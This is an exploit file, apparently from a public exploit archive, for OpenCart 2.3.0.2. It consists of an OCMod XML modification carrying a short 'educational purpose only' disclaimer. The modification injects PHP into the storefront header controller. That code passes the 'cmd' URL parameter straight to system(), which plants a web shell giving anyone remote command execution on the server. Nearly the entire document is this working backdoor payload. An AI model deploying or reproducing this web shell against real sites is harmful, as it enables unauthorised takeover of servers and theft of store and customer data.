Opencart 2.3.0.2 Insecure OCMod Generation Remote Command Execution

<?xml version="1.0" encoding="utf-8"?>

<!-- Opencart <= 2.3.0.2 Insecure OCMod Generation Pre-Auth RCE         -->

<!-- Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>          -->

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<!--    This or previous programs is for Educational                    -->
<!--    purpose ONLY. Do not use it without permission.                 -->
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<!--    Use them at your own risk!                                      -->

<!--    NOTES: This file must be - oc2302_preauth_rce.ocmod.xml         -->

<modification>
    <name><![CDATA[Opencart <= 2.3.0.2 Insecure OCMod Generation Pre-Auth RCE]]></name>
    <code><![CDATA[Opencart <= 2.3.0.2 Insecure OCMod Generation Pre-Auth RCE]]></code>
    <version>1.0</version>
    <author>Todor Donev</author>
    <link>mailto:[email protected]</link>

    <file path="catalog/controller/common/header.php">
        <operation>
            <search><![CDATA[// For page specific css]]></search>
            <add position="before"><![CDATA[if(isset($this->request->get['cmd'])){
echo "<pre>";
$cmd = ($this->request->get['cmd']);
system($cmd);
echo "</pre>";
}]]></add>
        </operation>
    </file>
</modification>    

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